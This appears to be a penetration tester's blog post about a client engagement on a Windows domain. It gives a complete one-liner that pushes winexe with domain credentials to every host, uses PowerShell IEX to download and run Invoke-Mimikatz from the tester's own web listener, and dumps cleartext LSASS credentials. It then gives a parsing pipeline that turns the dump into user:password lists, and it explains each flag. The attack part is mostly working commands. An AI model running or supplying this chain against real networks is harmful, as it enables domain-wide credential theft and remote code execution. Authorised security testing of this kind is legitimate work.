It was primarily a Windows network, with Server 2008 and Windows 7/8 for most the workstations. I tested the workstation in the conference room to determine they had Powershell, and knew I was in business.
PowerSploit includes a Powershell port of mimikatz which can pull cleartext wdigest creds stored in LSASS. There is a ton of literature as to how mimikatz does its magic online if you want to know more. Normally, I would conduct this kind of testing in a low and slow method, trying to evade detection but what the hell.
To start, I setup a web listener in the PowerSploit/Exfiltration directory:
cd ~/Tools/PowerSploit/Exfiltration; ruby -run -e httpd . -p 8080
I then threw the following one-liner together while the client counted down the minutes as they passed, let it smash against his entire network, and LOLed ~15 minutes later when I explained adequate password selection to his bewildered face.
sort -R targets.txt | parallel -P10 --timeout 60 --tag -q winexe --system --uninstall -U 'DOMAIN/USERNAME%PASSWORD' //{} "powershell \"IEX (New-Object Net.WebClient).DownloadString('http://<MY_IP>:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds\"" 2>; parallel.error | tee -a mimikatz_all_the_things.txt
So what is it doing? Let's break it down.
sort -R targets | #randomize the targets and pass them in
parallel -P10 #kick off parallel with 10 jobslots
--timeout 60 #kill each job if it exceeds 60 seconds
--tag #tag each line of output, not really necessary but why not
-q winexe #quote the following command and args
--system #run winexe service as NT AUTH\SYSTEM
--uninstall #uninstall the service when finished
-U 'CREDS' #pass the login creds to winexe
//{} #the magic; where parallel will substitute in the input
Following that is a long block of Powershell, but it is fairly straightforward:
"powershell \"IEX (New-Object Net.WebClient).DownloadString('http://<MY_IP>:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds\""
The Powershell Invoke-Expression cmdlet downloads the Invoke-Mimikatz.ps1 Powershell script from our web listener, then passes the 'Invoke-Mimikatz -DumpCreds' argument to it.
Lastly, the we pass errors to a file we call 'parallel.error', or output is ran though tee to display on screen and also append the 'mimikatz_all_the_things.txt' file:
2>; parallel.error | tee -a mimikatz_all_the_things.txt
It's pretty easy to grep out the user I was looking for, but just to help illustrate I ran the output though a parsing script that I found somewhere online(sorry for lack of attribution random Internet saint):
cat mimikatz_all_the_things.txt|tr -d '\011\015' |awk '/Username/ { user=$0; getline; domain=$0; getline; print user " " domain " " $0}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length($12)>2) print $8 "\\" $4 ":" $12}'|sort -u
Which parses through the whole mimikatz output and outputs a super disturbingly beautiful listing of users and cleartext creds:
CLIENTS_DOMAIN\user01:password01 CLIENTS_DOMAIN\user02:password02 CLIENTS_DOMAIN\user03:password03 CLIENTS_DOMAIN\user04:password04 CLIENTS_DOMAIN\user05:password05 . .
Bingo bango. Free lunch. Pretty tasty pizza I might add. Thanks for motivating me, Mr. Client.